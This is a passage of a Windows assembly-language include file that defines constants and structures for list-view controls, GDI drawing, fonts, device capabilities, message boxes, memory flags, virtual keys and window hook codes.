LVM_GETSTRINGWIDTH equ LVM_FIRST + 17
|
|||
|
LVM_GETSTRINGWIDTHW equ LVM_FIRST + 87
|
|||
|
LVCF_FMT equ 0001h
|
|||
|
LVCF_WIDTH equ 0002h
|
|||
|
LVCF_TEXT equ 0004h
|
|||
|
LVCF_SUBITEM equ 0008h
|
|||
|
LVCFMT_LEFT equ 0000h
|
|||
|
LVCFMT_RIGHT equ 0001h
|
|||
|
LVCFMT_CENTER equ 0002h
|
|||
|
LVCFMT_JUSTIFYMASK equ 0003h
|
|||
|
LVM_GETCOLUMN equ LVM_FIRST + 25
|
|||
|
LVM_GETCOLUMNW equ LVM_FIRST + 95
|
|||
|
LVM_SETCOLUMN equ LVM_FIRST + 26
|
|||
|
LVM_SETCOLUMNW equ LVM_FIRST + 96
|
|||
|
LVM_INSERTCOLUMN equ LVM_FIRST + 27
|
|||
|
LVM_INSERTCOLUMNW equ LVM_FIRST + 97
|
|||
|
LVM_DELETECOLUMN equ LVM_FIRST + 28
|
|||
|
LVM_GETCOLUMNWIDTH equ LVM_FIRST + 29
|
|||
|
LVIF_TEXT equ 0001h
|
|||
|
LVIF_IMAGE equ 0002h
|
|||
|
LVIF_PARAM equ 0004h
|
|||
|
LVIF_STATE equ 0008h
|
|||
|
|
|||
|
|
|||
|
|
|||
|
LV_ITEM STRUC
|
|||
|
lvi_imask DWORD ?
|
|||
|
lvi_iItem DWORD ?
|
|||
|
lvi_iSubItem DWORD ?
|
|||
|
lvi_state DWORD ?
|
|||
|
lvi_stateMask DWORD ?
|
|||
|
lvi_pszText DWORD ?
|
|||
|
lvi_cchTextMax DWORD ?
|
|||
|
lvi_iImage DWORD ?
|
|||
|
lvi_lParam DWORD ?
|
|||
|
lvi_iIndent DWORD ?
|
|||
|
LV_ITEM ENDS
|
|||
|
|
|||
|
LV_FINDINFO STRUC
|
|||
|
lvfi_flags DWORD ?
|
|||
|
lvfi_psz DWORD ?
|
|||
|
lvfi_lParam DWORD ?
|
|||
|
lvfi_pt QWORD ?
|
|||
|
lvfi_vkDirection DWORD ?
|
|||
|
LV_FINDINFO ENDS
|
|||
|
|
|||
|
LV_HITTESTINFO STRUC
|
|||
|
lvht_pt QWORD ?
|
|||
|
lvht_flags DWORD ?
|
|||
|
lvht_iItem DWORD ?
|
|||
|
LV_HITTESTINFO ENDS
|
|||
|
|
|||
|
LV_COLUMN STRUC
|
|||
|
lvc_imask DWORD ?
|
|||
|
lvc_fmt DWORD ?
|
|||
|
lvc_lx DWORD ?
|
|||
|
lvc_pszText DWORD ?
|
|||
|
lvc_cchTextMax DWORD ?
|
|||
|
lvc_iSubItem DWORD ?
|
|||
|
LV_COLUMN ENDS
|
|||
|
|
|||
|
;*******************************************************************
|
|||
|
;
|
|||
|
; Rectangle
|
|||
|
;
|
|||
|
;*******************************************************************
|
|||
|
|
|||
|
RECT struc
|
|||
|
rcLeft dd ?
|
|||
|
rcTop dd ?
|
|||
|
rcRight dd ?
|
|||
|
rcBottom dd ?
|
|||
|
RECT ends
|
|||
|
|
|||
|
;*******************************************************************
|
|||
|
;
|
|||
|
; Window Class structure
|
|||
|
;
|
|||
|
;*******************************************************************
|
|||
|
|
|||
|
WNDCLASS struc
|
|||
|
clsStyle dw ? ; class style
|
|||
|
clsLpfnWndProc dd ?
|
|||
|
clsCbClsExtra dw ?
|
|||
|
clsCbWndExtra dw ?
|
|||
|
clsHInstance dw ? ; instance handle
|
|||
|
clsHIcon dw ? ; class icon handle
|
|||
|
clsHCursor dw ? ; class cursor handle
|
|||
|
clsHbrBackground dw ? ; class background brush
|
|||
|
clsLpszMenuName dd ? ; menu name
|
|||
|
clsLpszClassName dd ? ; far ptr to class name
|
|||
|
WNDCLASS ends
|
|||
|
|
|||
|
IFNDEF NOTEXT
|
|||
|
TEXTMETRIC struc
|
|||
|
tmHeight dw ?
|
|||
|
tmAscent dw ?
|
|||
|
tmDescent dw ?
|
|||
|
tmIntLeading dw ?
|
|||
|
tmExtLeading dw ?
|
|||
|
tmAveCharWidth dw ?
|
|||
|
tmMaxCharWidth dw ?
|
|||
|
tmWeight dw ?
|
|||
|
tmItalic db ?
|
|||
|
tmUnderlined db ?
|
|||
|
tmStruckOut db ?
|
|||
|
tmFirstChar db ?
|
|||
|
tmLastChar db ?
|
|||
|
tmDefaultChar db ?
|
|||
|
tmBreakChar db ?
|
|||
|
tmPitch db ?
|
|||
|
tmCharSet db ?
|
|||
|
tmOverhang dw ?
|
|||
|
tmAspectX dw ?
|
|||
|
tmAspectY dw ?
|
|||
|
TEXTMETRIC ends
|
|||
|
|
|||
|
LF_FACESIZE EQU 32
|
|||
|
|
|||
|
LOGFONT struc
|
|||
|
lfHeight dw ?
|
|||
|
lfWidth dw ?
|
|||
|
lfEscapement dw ?
|
|||
|
lfOrientation dw ?
|
|||
|
lfWeight dw ?
|
|||
|
lfItalic db ?
|
|||
|
lfUnderline db ?
|
|||
|
lfStrikeOut db ?
|
|||
|
lfCharSet db ?
|
|||
|
lfOutPrecision db ?
|
|||
|
lfClipPrecision db ?
|
|||
|
lfQuality db ?
|
|||
|
lfPitchAndFamily db ?
|
|||
|
lfFaceName db LF_FACESIZE dup(?)
|
|||
|
LOGFONT ends
|
|||
|
|
|||
|
LOGBRUSH struc
|
|||
|
lbStyle dw ?
|
|||
|
lbColor dd ?
|
|||
|
lbHatch dw ?
|
|||
|
LOGBRUSH ends
|
|||
|
|
|||
|
;
|
|||
|
; Text Drawing modes
|
|||
|
;
|
|||
|
TRANSPARENT = 1
|
|||
|
OPAQUE = 2
|
|||
|
;
|
|||
|
; Mapping Modes
|
|||
|
;
|
|||
|
MM_TEXT = 1
|
|||
|
MM_LOMETRIC = 2
|
|||
|
MM_HIMETRIC = 3
|
|||
|
MM_LOENGLISH = 4
|
|||
|
MM_HIENGLISH = 5
|
|||
|
MM_TWIPS = 6
|
|||
|
MM_ISOTROPIC = 7
|
|||
|
MM_ANISOTROPIC = 8
|
|||
|
;
|
|||
|
; Coordinate Modes
|
|||
|
;
|
|||
|
ABSOLUTE = 1
|
|||
|
RELATIVE = 2
|
|||
|
;
|
|||
|
; Stock Logical Objects
|
|||
|
;
|
|||
|
WHITE_BRUSH = 0
|
|||
|
LTGRAY_BRUSH = 1
|
|||
|
GRAY_BRUSH = 2
|
|||
|
DKGRAY_BRUSH = 3
|
|||
|
BLACK_BRUSH = 4
|
|||
|
NULL_BRUSH = 5
|
|||
|
HOLLOW_BRUSH = 5
|
|||
|
WHITE_PEN = 6
|
|||
|
BLACK_PEN = 7
|
|||
|
NULL_PEN = 8
|
|||
|
DOT_MARKER = 9
|
|||
|
OEM_FIXED_FONT = 10
|
|||
|
ANSI_FIXED_FONT = 11
|
|||
|
ANSI_VAR_FONT = 12
|
|||
|
SYSTEM_FONT = 13
|
|||
|
DEVICE_DEFAULT_FONT = 14
|
|||
|
DEFAULT_PALETTE = 15
|
|||
|
SYSTEM_FIXED_FONT = 16
|
|||
|
ENDIF
|
|||
|
;
|
|||
|
; Brush Styles
|
|||
|
;
|
|||
|
BS_SOLID = 0
|
|||
|
BS_NULL = 1
|
|||
|
BS_HOLLOW = BS_NULL
|
|||
|
BS_HATCHED = 2
|
|||
|
BS_PATTERN = 3
|
|||
|
BS_INDEXED = 4
|
|||
|
BS_DIBPATTERN = 5
|
|||
|
;
|
|||
|
; Hatch Styles
|
|||
|
;
|
|||
|
HS_HORIZONTAL = 0 ; -----
|
|||
|
HS_VERTICAL = 1 ; |||||
|
|||
|
HS_FDIAGONAL = 2 ; \\\\\
|
|||
|
HS_BDIAGONAL = 3 ; /////
|
|||
|
HS_CROSS = 4 ; +++++
|
|||
|
HS_DIAGCROSS = 5 ; xxxxx
|
|||
|
;
|
|||
|
; Pen Styles
|
|||
|
;
|
|||
|
PS_SOLID = 0
|
|||
|
PS_DASH = 1 ; -------
|
|||
|
PS_DOT = 2 ; .......
|
|||
|
PS_DASHDOT = 3 ; _._._._
|
|||
|
PS_DASHDOTDOT = 4 ; _.._.._
|
|||
|
PS_NULL = 5
|
|||
|
PS_INSIDEFRAME = 6
|
|||
|
;
|
|||
|
; Device Parameters for GetDeviceCaps()
|
|||
|
;
|
|||
|
DRIVERVERSION =0 ; Device driver version
|
|||
|
TECHNOLOGY =2 ; Device classification
|
|||
|
HORZSIZE =4 ; Horizontal size in millimeters
|
|||
|
VERTSIZE =6 ; Vertical size in millimeters
|
|||
|
HORZRES =8 ; Horizontal width in pixels
|
|||
|
VERTRES =10 ; Vertical width in pixels
|
|||
|
BITSPIXEL =12 ; Number of bits per pixel
|
|||
|
PLANES =14 ; Number of planes
|
|||
|
NUMBRUSHES =16 ; Number of brushes the device has
|
|||
|
NUMPENS =18 ; Number of pens the device has
|
|||
|
NUMMARKERS =20 ; Number of markers the device has
|
|||
|
NUMFONTS =22 ; Number of fonts the device has
|
|||
|
NUMCOLORS =24 ; Number of colors the device supports
|
|||
|
PDEVICESIZE =26 ; Size required for device descriptor
|
|||
|
CURVECAPS =28 ; Curve capabilities
|
|||
|
LINECAPS =30 ; Line capabilities
|
|||
|
POLYGONALCAPS =32 ; Polygonal capabilities
|
|||
|
TEXTCAPS =34 ; Text capabilities
|
|||
|
CLIPCAPS =36 ; Clipping capabilities
|
|||
|
RASTERCAPS =38 ; Bitblt capabilities
|
|||
|
ASPECTX =40 ; Length of the X leg
|
|||
|
ASPECTY =42 ; Length of the Y leg
|
|||
|
ASPECTXY =44 ; Length of the hypotenuse
|
|||
|
|
|||
|
LOGPIXELSX =88 ; Logical pixels/inch in X
|
|||
|
LOGPIXELSY =90 ; Logical pixels/inch in Y
|
|||
|
|
|||
|
SIZEPALETTE =104 ; Number of entries in physical palette
|
|||
|
NUMRESERVED =106 ; Number of reserved entries in palette
|
|||
|
COLORRES =108 ; Actual color resolution
|
|||
|
;
|
|||
|
ifndef NOGDICAPMASKS
|
|||
|
;
|
|||
|
; Device Capability Masks:
|
|||
|
;
|
|||
|
; Device Technologies
|
|||
|
DT_PLOTTER = 0 ; /* Vector plotter */
|
|||
|
DT_RASDISPLAY = 1 ; /* Raster display */
|
|||
|
DT_RASPRINTER = 2 ; /* Raster printer */
|
|||
|
DT_RASCAMERA = 3 ; /* Raster camera */
|
|||
|
DT_CHARSTREAM = 4 ; /* Character-stream, PLP */
|
|||
|
DT_METAFILE = 5 ; /* Metafile, VDM */
|
|||
|
DT_DISPFILE = 6 ; /* Display-file */
|
|||
|
;
|
|||
|
; Curve Capabilities
|
|||
|
CC_NONE = 0 ; /* Curves not supported */
|
|||
|
CC_CIRCLES = 1 ; /* Can do circles */
|
|||
|
CC_PIE = 2 ; /* Can do pie wedges */
|
|||
|
CC_CHORD = 4 ; /* Can do chord arcs */
|
|||
|
CC_ELLIPSES = 8 ; /* Can do ellipese */
|
|||
|
CC_WIDE = 16 ; /* Can do wide lines */
|
|||
|
CC_STYLED = 32 ; /* Can do styled lines */
|
|||
|
CC_WIDESTYLED = 64 ; /* Can do wide styled lines */
|
|||
|
CC_INTERIORS = 128; /* Can do interiors */
|
|||
|
;
|
|||
|
; Line Capabilities
|
|||
|
LC_NONE = 0 ; /* Lines not supported */
|
|||
|
LC_POLYLINE = 2 ; /* Can do polylines */
|
|||
|
LC_MARKER = 4 ; /* Can do markers */
|
|||
|
LC_POLYMARKER = 8 ; /* Can do polymarkers */
|
|||
|
LC_WIDE = 16 ; /* Can do wide lines */
|
|||
|
LC_STYLED = 32 ; /* Can do styled lines */
|
|||
|
LC_WIDESTYLED = 64 ; /* Can do wide styled lines */
|
|||
|
LC_INTERIORS = 128; /* Can do interiors */
|
|||
|
;
|
|||
|
; Polygonal Capabilities
|
|||
|
PC_NONE = 0 ; /* Polygonals not supported */
|
|||
|
PC_POLYGON = 1 ; /* Can do polygons */
|
|||
|
PC_RECTANGLE = 2 ; /* Can do rectangles */
|
|||
|
PC_WINDPOLYGON = 4 ; /* Can do winding polygons */
|
|||
|
PC_TRAPEZOID = 4 ; /* Can do trapezoids */
|
|||
|
PC_SCANLINE = 8 ; /* Can do scanlines */
|
|||
|
PC_WIDE = 16 ; /* Can do wide borders */
|
|||
|
PC_STYLED = 32 ; /* Can do styled borders */
|
|||
|
PC_WIDESTYLED = 64 ; /* Can do wide styled borders */
|
|||
|
PC_INTERIORS = 128; /* Can do interiors */
|
|||
|
;
|
|||
|
; Polygonal Capabilities */
|
|||
|
CP_NONE = 0 ; /* No clipping of output */
|
|||
|
CP_RECTANGLE = 1 ; /* Output clipped to rects */
|
|||
|
;
|
|||
|
; Text Capabilities
|
|||
|
TC_OP_CHARACTER = 0001h ; /* Can do OutputPrecision CHARACTER */
|
|||
|
TC_OP_STROKE = 0002h ; /* Can do OutputPrecision STROKE */
|
|||
|
TC_CP_STROKE = 0004h ; /* Can do ClipPrecision STROKE */
|
|||
|
TC_CR_90 = 0008h ; /* Can do CharRotAbility 90 */
|
|||
|
TC_CR_ANY = 0010h ; /* Can do CharRotAbility ANY */
|
|||
|
TC_SF_X_YINDEP = 0020h ; /* Can do ScaleFreedom X_YINDEPENDENT */
|
|||
|
TC_SA_DOUBLE = 0040h ; /* Can do ScaleAbility DOUBLE */
|
|||
|
TC_SA_INTEGER = 0080h ; /* Can do ScaleAbility INTEGER */
|
|||
|
TC_SA_CONTIN = 0100h ; /* Can do ScaleAbility CONTINUOUS */
|
|||
|
TC_EA_DOUBLE = 0200h ; /* Can do EmboldenAbility DOUBLE */
|
|||
|
TC_IA_ABLE = 0400h ; /* Can do ItalisizeAbility ABLE */
|
|||
|
TC_UA_ABLE = 0800h ; /* Can do UnderlineAbility ABLE */
|
|||
|
TC_SO_ABLE = 1000h ; /* Can do StrikeOutAbility ABLE */
|
|||
|
TC_RA_ABLE = 2000h ; /* Can do RasterFontAble ABLE */
|
|||
|
TC_VA_ABLE = 4000h ; /* Can do VectorFontAble ABLE */
|
|||
|
TC_RESERVED = 8000h
|
|||
|
;
|
|||
|
; Raster Capabilities
|
|||
|
RC_BITBLT = 1 ; /* Can do standard BLT. */
|
|||
|
RC_BANDING = 2 ; /* Device requires banding support */
|
|||
|
RC_SCALING = 4 ; /* Device requires scaling support */
|
|||
|
RC_BITMAP64 = 8 ; /* Device can support >64K bitmap */
|
|||
|
RC_GDI20_OUTPUT = 0010h ; /* has 2.0 output calls */
|
|||
|
RC_DI_BITMAP = 0080h ; /* supports DIB to memory */
|
|||
|
RC_PALETTE = 0100h ; /* supports a palette */
|
|||
|
RC_DIBTODEV = 0200h ; /* supports DIBitsToDevice */
|
|||
|
RC_BIGFONT = 0400h ; /* supports >64K fonts */
|
|||
|
RC_STRETCHBLT = 0800h ; /* supports StretchBlt */
|
|||
|
RC_FLOODFILL = 1000h ; /* supports FloodFill */
|
|||
|
RC_STRETCHDIB = 2000h ; /* supports StretchDIBits */
|
|||
|
|
|||
|
endif ;NOGDICAPMASKS
|
|||
|
|
|||
|
; palette entry flags
|
|||
|
;
|
|||
|
PC_RESERVED = 1 ;/* palette index used for animation */
|
|||
|
PC_EXPLICIT = 2 ;/* palette index is explicit to device */
|
|||
|
PC_NOCOLLAPSE = 4 ;/* do not match color to system palette */
|
|||
|
|
|||
|
; DIB color table identifiers
|
|||
|
;
|
|||
|
DIB_RGB_COLORS = 0 ;/* color table in RGBTriples */
|
|||
|
DIB_PAL_COLORS = 1 ;/* color table in palette indices */
|
|||
|
;
|
|||
|
|
|||
|
;constants for Get/SetSystemPaletteUse()
|
|||
|
;
|
|||
|
SYSPAL_STATIC = 1
|
|||
|
SYSPAL_NOSTATIC = 2
|
|||
|
|
|||
|
; constants for CreateDIBitmap
|
|||
|
CBM_INIT = 4 ;/* initialize bitmap */
|
|||
|
;
|
|||
|
; Bitmap format constants
|
|||
|
BI_RGB = 0
|
|||
|
BI_RLE8 = 1
|
|||
|
BI_RLE4 = 2
|
|||
|
;
|
|||
|
;
|
|||
|
ANSI_CHARSET = 0
|
|||
|
SYMBOL_CHARSET = 2
|
|||
|
OEM_CHARSET = 255
|
|||
|
;
|
|||
|
; styles for CombineRgn
|
|||
|
;
|
|||
|
RGN_AND = 1
|
|||
|
RGN_OR = 2
|
|||
|
RGN_XOR = 3
|
|||
|
RGN_DIFF = 4
|
|||
|
RGN_COPY = 5
|
|||
|
;
|
|||
|
; Predefined cursor & icon IDs
|
|||
|
;
|
|||
|
IDC_ARROW = 32512
|
|||
|
IDC_IBEAM = 32513
|
|||
|
IDC_WAIT = 32514
|
|||
|
IDC_CROSS = 32515
|
|||
|
IDC_UPARROW = 32516
|
|||
|
IDC_SIZE = 32640
|
|||
|
IDC_ICON = 32641
|
|||
|
IDC_SIZENWSE = 32642
|
|||
|
IDC_SIZENESW = 32643
|
|||
|
IDC_SIZEWE = 32644
|
|||
|
IDC_SIZENS = 32645
|
|||
|
|
|||
|
IDI_APPLICATION = 32512
|
|||
|
IDI_HAND = 32513
|
|||
|
IDI_QUESTION = 32514
|
|||
|
IDI_EXCLAMATION = 32515
|
|||
|
IDI_ASTERISK = 32516
|
|||
|
|
|||
|
;
|
|||
|
; OEM Resource Ordinal Numbers */
|
|||
|
;
|
|||
|
OBM_CLOSE = 32754
|
|||
|
OBM_UPARROW = 32753
|
|||
|
OBM_DNARROW = 32752
|
|||
|
OBM_RGARROW = 32751
|
|||
|
OBM_LFARROW = 32750
|
|||
|
OBM_REDUCE = 32749
|
|||
|
OBM_ZOOM = 32748
|
|||
|
OBM_RESTORE = 32747
|
|||
|
OBM_REDUCED = 32746
|
|||
|
OBM_ZOOMD = 32745
|
|||
|
OBM_RESTORED = 32744
|
|||
|
OBM_UPARROWD = 32743
|
|||
|
OBM_DNARROWD = 32742
|
|||
|
OBM_RGARROWD = 32741
|
|||
|
OBM_LFARROWD = 32740
|
|||
|
OBM_MNARROW = 32739
|
|||
|
OBM_COMBO = 32738
|
|||
|
OBM_UPARROWI = 32737
|
|||
|
OBM_DNARROWI = 32736
|
|||
|
OBM_RGARROWI = 32735
|
|||
|
OBM_LFARROWI = 32734
|
|||
|
|
|||
|
OBM_OLD_CLOSE = 32767
|
|||
|
OBM_SIZE = 32766
|
|||
|
OBM_OLD_UPARROW = 32765
|
|||
|
OBM_OLD_DNARROW = 32764
|
|||
|
OBM_OLD_RGARROW = 32763
|
|||
|
OBM_OLD_LFARROW = 32762
|
|||
|
OBM_BTSIZE = 32761
|
|||
|
OBM_CHECK = 32760
|
|||
|
OBM_CHECKBOXES = 32759
|
|||
|
OBM_BTNCORNERS = 32758
|
|||
|
OBM_OLD_REDUCE = 32757
|
|||
|
OBM_OLD_ZOOM = 32756
|
|||
|
OBM_OLD_RESTORE = 32755
|
|||
|
|
|||
|
OCR_NORMAL = 32512
|
|||
|
OCR_IBEAM = 32513
|
|||
|
OCR_WAIT = 32514
|
|||
|
OCR_CROSS = 32515
|
|||
|
OCR_UP = 32516
|
|||
|
OCR_SIZE = 32640
|
|||
|
OCR_ICON = 32641
|
|||
|
OCR_SIZENWSE = 32642
|
|||
|
OCR_SIZENESW = 32643
|
|||
|
OCR_SIZEWE = 32644
|
|||
|
OCR_SIZENS = 32645
|
|||
|
OCR_SIZEALL = 32646
|
|||
|
OCR_ICOCUR = 32647
|
|||
|
|
|||
|
OIC_SAMPLE = 32512
|
|||
|
OIC_HAND = 32513
|
|||
|
OIC_QUES = 32514
|
|||
|
OIC_BANG = 32515
|
|||
|
OIC_NOTE = 32516
|
|||
|
|
|||
|
;
|
|||
|
; Scroll bar constants
|
|||
|
;
|
|||
|
SB_HORZ = 0
|
|||
|
SB_VERT = 1
|
|||
|
SB_CTL = 2
|
|||
|
SB_BOTH = 3
|
|||
|
;
|
|||
|
; Scroll Commands
|
|||
|
;
|
|||
|
SB_LINEUP = 0
|
|||
|
SB_LINEDOWN = 1
|
|||
|
SB_PAGEUP = 2
|
|||
|
SB_PAGEDOWN = 3
|
|||
|
SB_THUMBPOSITION = 4
|
|||
|
SB_THUMBTRACK = 5
|
|||
|
SB_TOP = 6
|
|||
|
SB_BOTTOM = 7
|
|||
|
SB_ENDSCROLL = 8
|
|||
|
;
|
|||
|
; MessageBox type flags
|
|||
|
;
|
|||
|
IFNDEF NOMB
|
|||
|
MB_OK = 0000H
|
|||
|
MB_OKCANCEL = 0001H
|
|||
|
MB_ABORTRETRYIGNORE = 0002H
|
|||
|
MB_YESNOCANCEL = 0003H
|
|||
|
MB_YESNO = 0004H
|
|||
|
MB_RETRYCANCEL = 0005H
|
|||
|
|
|||
|
MB_ICONHAND = 0010H
|
|||
|
MB_ICONQUESTION = 0020H
|
|||
|
MB_ICONEXCLAMATION = 0030H
|
|||
|
MB_ICONASTERISK = 0040H
|
|||
|
|
|||
|
MB_DEFBUTTON1 = 0000H
|
|||
|
MB_DEFBUTTON2 = 0100H
|
|||
|
MB_DEFBUTTON3 = 0200H
|
|||
|
|
|||
|
MB_APPLMODAL = 0000H
|
|||
|
MB_SYSTEMMODAL = 1000H
|
|||
|
MB_TASKMODAL = 2000H
|
|||
|
|
|||
|
MB_NOFOCUS = 8000H
|
|||
|
|
|||
|
;
|
|||
|
; Conventional dialog box and message box command IDs
|
|||
|
;
|
|||
|
IDOK = 1
|
|||
|
IDCANCEL = 2
|
|||
|
IDABORT = 3
|
|||
|
IDRETRY = 4
|
|||
|
IDIGNORE = 5
|
|||
|
IDYES = 6
|
|||
|
IDNO = 7
|
|||
|
;
|
|||
|
; Flags for OpenFile
|
|||
|
;
|
|||
|
OF_READ = 0000H
|
|||
|
OF_WRITE = 0001H
|
|||
|
OF_READWRITE = 0002H
|
|||
|
OF_SHARE_COMPAT = 0000H
|
|||
|
OF_SHARE_EXCLUSIVE = 0010H
|
|||
|
OF_SHARE_DENY_WRITE = 0020H
|
|||
|
OF_SHARE_DENY_READ = 0030H
|
|||
|
OF_SHARE_DENY_NONE = 0040H
|
|||
|
OF_PARSE = 0100H
|
|||
|
OF_DELETE = 0200H
|
|||
|
OF_VERIFY = 0400H ; Used with OF_REOPEN
|
|||
|
OF_SEARCH = 0400H ; Used without OF_REOPEN
|
|||
|
OF_CANCEL = 0800H
|
|||
|
OF_CREATE = 1000H
|
|||
|
OF_PROMPT = 2000H
|
|||
|
OF_EXIST = 4000H
|
|||
|
OF_REOPEN = 8000H
|
|||
|
|
|||
|
TF_FORCEDRIVE = 80H
|
|||
|
|
|||
|
OPENSTRUC STRUC
|
|||
|
opLen db ?
|
|||
|
opDisk db ?
|
|||
|
opXtra dw ?
|
|||
|
opDate dw ?
|
|||
|
opTime dw ?
|
|||
|
opFile db 120 dup (?)
|
|||
|
OPENSTRUC ENDS
|
|||
|
;
|
|||
|
; DrawText format flags
|
|||
|
;
|
|||
|
DT_LEFT = 00H
|
|||
|
DT_CENTER = 01H
|
|||
|
DT_RIGHT = 02H
|
|||
|
DT_TOP = 00H
|
|||
|
DT_VCENTER = 04H
|
|||
|
DT_BOTTOM = 08H
|
|||
|
DT_WORDBREAK = 10H
|
|||
|
DT_SINGLELINE = 20H
|
|||
|
DT_EXPANDTABS = 40H
|
|||
|
DT_TABSTOP = 80H
|
|||
|
DT_NOCLIP = 0100H
|
|||
|
DT_EXTERNALLEADING = 0200H
|
|||
|
DT_CALCRECT = 0400H
|
|||
|
DT_NOPREFIX = 0800H
|
|||
|
DT_INTERNAL = 1000H
|
|||
|
ENDIF
|
|||
|
|
|||
|
;
|
|||
|
; ExtFloodFill style flags
|
|||
|
;
|
|||
|
FLOODFILLBORDER = 0
|
|||
|
FLOODFILLSURFACE = 1
|
|||
|
|
|||
|
;
|
|||
|
; Memory manager flags
|
|||
|
;
|
|||
|
LMEM_FIXED = 0000h
|
|||
|
LMEM_MOVEABLE = 0002h
|
|||
|
LMEM_NOCOMPACT = 0010H
|
|||
|
LMEM_NODISCARD = 0020H
|
|||
|
LMEM_ZEROINIT = 0040h
|
|||
|
LMEM_MODIFY = 0080H
|
|||
|
LMEM_DISCARDABLE= 0F00h
|
|||
|
LHND = LMEM_MOVEABLE+LMEM_ZEROINIT
|
|||
|
LPTR = LMEM_FIXED+LMEM_ZEROINIT
|
|||
|
; Flags returned by LocalFlags (in addition to LMEM_DISCARDABLE)
|
|||
|
LMEM_DISCARDED = 4000H
|
|||
|
LMEM_LOCKCOUNT = 00FFH
|
|||
|
|
|||
|
NONZEROLHND = LMEM_MOVEABLE
|
|||
|
NONZEROLPTR = LMEM_FIXED
|
|||
|
|
|||
|
|
|||
|
|
|||
|
GMEM_FIXED = 0000h
|
|||
|
GMEM_MOVEABLE = 0002h
|
|||
|
GMEM_NOCOMPACT = 0010h
|
|||
|
GMEM_NODISCARD = 0020h
|
|||
|
GMEM_ZEROINIT = 0040h
|
|||
|
GMEM_MODIFY = 0080h
|
|||
|
GMEM_DISCARDABLE= 0100h
|
|||
|
GMEM_NOT_BANKED = 1000h
|
|||
|
GMEM_DDESHARE = 2000h
|
|||
|
GMEM_SHARE = 2000h
|
|||
|
GMEM_NOTIFY = 4000h
|
|||
|
GMEM_LOWER = GMEM_NOT_BANKED
|
|||
|
GHND = GMEM_MOVEABLE+GMEM_ZEROINIT
|
|||
|
GPTR = GMEM_FIXED+GMEM_ZEROINIT
|
|||
|
|
|||
|
; Flags returned by GlobalFlags (in addition to GMEM_DISCARDABLE)
|
|||
|
GMEM_DISCARDED = 4000h
|
|||
|
GMEM_LOCKCOUNT = 00FFh
|
|||
|
|
|||
|
; Flags returned by GetWinFlags
|
|||
|
|
|||
|
WF_PMODE = 0001h
|
|||
|
WF_CPU286 = 0002h
|
|||
|
WF_CPU386 = 0004h
|
|||
|
WF_CPU486 = 0008h
|
|||
|
WF_STANDARD = 0010h
|
|||
|
WF_WIN286 = 0010h
|
|||
|
WF_ENHANCED = 0020h
|
|||
|
WF_WIN386 = 0020h
|
|||
|
WF_CPU086 = 0040h
|
|||
|
WF_CPU186 = 0080h
|
|||
|
WF_LARGEFRAME = 0100h
|
|||
|
WF_SMALLFRAME = 0200h
|
|||
|
WF_80x87 = 0400h
|
|||
|
WF_PAGING = 0800h
|
|||
|
WF_WLO = 8000h
|
|||
|
|
|||
|
; WEP fSystemExit flag values
|
|||
|
WEP_SYSTEM_EXIT = 1
|
|||
|
WEP_FREE_DLL = 0
|
|||
|
|
|||
|
|
|||
|
; Virtual Keys, Standard Set
|
|||
|
|
|||
|
IFNDEF NOVK
|
|||
|
VK_LBUTTON = 01H
|
|||
|
VK_RBUTTON = 02H
|
|||
|
VK_CANCEL = 03H
|
|||
|
VK_BACK = 08H
|
|||
|
VK_TAB = 09H
|
|||
|
VK_CLEAR = 0cH
|
|||
|
VK_RETURN = 0dH
|
|||
|
VK_SHIFT = 10H
|
|||
|
VK_CONTROL = 11H
|
|||
|
VK_MENU = 12H
|
|||
|
VK_PAUSE = 13H
|
|||
|
VK_CAPITAL = 14H
|
|||
|
VK_ESCAPE = 1bH
|
|||
|
VK_SPACE = 20H
|
|||
|
|
|||
|
VK_PRIOR = 21H
|
|||
|
VK_NEXT = 22H
|
|||
|
VK_END = 23H
|
|||
|
VK_HOME = 24H
|
|||
|
VK_LEFT = 25H
|
|||
|
VK_UP = 26H
|
|||
|
VK_RIGHT = 27H
|
|||
|
VK_DOWN = 28H
|
|||
|
|
|||
|
; VK_A thru VK_Z are the same as their ASCII equivalents: 'A' thru 'Z'
|
|||
|
; VK_0 thru VK_9 are the same as their ASCII equivalents: '0' thru '0'
|
|||
|
|
|||
|
VK_PRINT = 2aH
|
|||
|
VK_EXECUTE = 2bH
|
|||
|
VK_SNAPSHOT = 2ch ; Printscreen key..
|
|||
|
VK_INSERT = 2dH
|
|||
|
VK_DELETE = 2eH
|
|||
|
VK_HELP = 2fH
|
|||
|
|
|||
|
VK_NUMPAD0 = 60H
|
|||
|
VK_NUMPAD1 = 61H
|
|||
|
VK_NUMPAD2 = 62H
|
|||
|
VK_NUMPAD3 = 63H
|
|||
|
VK_NUMPAD4 = 64H
|
|||
|
VK_NUMPAD5 = 65H
|
|||
|
VK_NUMPAD6 = 66H
|
|||
|
VK_NUMPAD7 = 67H
|
|||
|
VK_NUMPAD8 = 68H
|
|||
|
VK_NUMPAD9 = 69H
|
|||
|
VK_MULTIPLY = 6AH
|
|||
|
VK_ADD = 6BH
|
|||
|
VK_SEPARATER = 6CH
|
|||
|
VK_SUBTRACT = 6DH
|
|||
|
VK_DECIMAL = 6EH
|
|||
|
VK_DIVIDE = 6FH
|
|||
|
|
|||
|
VK_F1 = 70H
|
|||
|
VK_F2 = 71H
|
|||
|
VK_F3 = 72H
|
|||
|
VK_F4 = 73H
|
|||
|
VK_F5 = 74H
|
|||
|
VK_F6 = 75H
|
|||
|
VK_F7 = 76H
|
|||
|
VK_F8 = 77H
|
|||
|
VK_F9 = 78H
|
|||
|
VK_F10 = 79H
|
|||
|
VK_F11 = 7aH
|
|||
|
VK_F12 = 7bH
|
|||
|
VK_F13 = 7cH
|
|||
|
VK_F14 = 7dH
|
|||
|
VK_F15 = 7eH
|
|||
|
VK_F16 = 7fH
|
|||
|
VK_F17 = 80H
|
|||
|
VK_F18 = 81H
|
|||
|
VK_F19 = 82H
|
|||
|
VK_F20 = 83H
|
|||
|
VK_F21 = 84H
|
|||
|
VK_F22 = 85H
|
|||
|
VK_F23 = 86H
|
|||
|
VK_F24 = 87H
|
|||
|
|
|||
|
VK_NUMLOCK = 90H
|
|||
|
VK_SCROLL = 91H
|
|||
|
ENDIF
|
|||
|
|
|||
|
IFNDEF NOWH
|
|||
|
|
|||
|
; SetWindowsHook() codes
|
|||
|
WH_MSGFILTER = (-1)
|
|||
|
WH_JOURNALRECORD = 0
|
|||
|
WH_JOURNALPLAYBACK = 1
|
|||
|
WH_KEYBOARD = 2
|
|||
|
WH_GETMESSAGE = 3
|
|||
|
WH_CALLWNDPROC = 4
|
|||
|
